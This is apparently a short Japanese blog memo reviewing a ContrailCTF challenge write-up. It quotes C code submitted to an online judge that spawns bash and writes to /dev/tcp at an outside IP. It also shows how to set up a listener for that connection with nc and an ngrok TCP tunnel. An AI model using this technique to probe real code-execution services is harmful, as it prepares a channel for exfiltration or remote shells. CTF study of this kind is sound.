【ngrok.io】特定のIPアドレスとポートでリクエストを受け付ける
//
あらまし
ContrailCTF
にオンタイムで参加できず、writeupを見ながら復習していた時、ngrok
なるサイトが紹介されていたのでメモがてら備忘録です。
NoWallForUs
という問題のwriteupに使われていました。シナリオとしては競プロサイトで、C
など任意言語でhello
を出力するコードを提出する合間に、フラグを見つけるみたいな感じです。今回のwriteup参考サイトはこちら
www.ryotosaito.com
提出するコードにtcp通信を仕込みます。この通信先をさくっと準備するのにngrok
を使っていました。
#include <unistd.h> int main() { execl("/bin/bash", "/bin/bash", "-c", "echo hello &>/dev/tcp/17.xxx.xx.xx/1234", NULL); return -1; } [引用元:https://www.ryotosaito.com/blog/?p=400]
自分のマシンで受け付ける
ngrok
に登録して、必要なファイルをダウンロード。インストールを行います(省略)
ngrok - secure introspectable tunnels to localhost
ngrokが便利すぎる - Qiita
ローカルでリクエストを受け付けます。今回os
はubuntu
です。
$nc -l 1234
新しいタブを開いて、ngrok
を起動し、nc
で待ち受けているやつに紐付けます。
$./ngrok tcp 1234
コンソールが表示され接続先がわかります。
あとはping
などを飛ばしてipアドレス
を特定すれば、待ち受けるIPアドレスがわかるので、それと先ほど表示されたポートを使ってリクエストを送れると思います。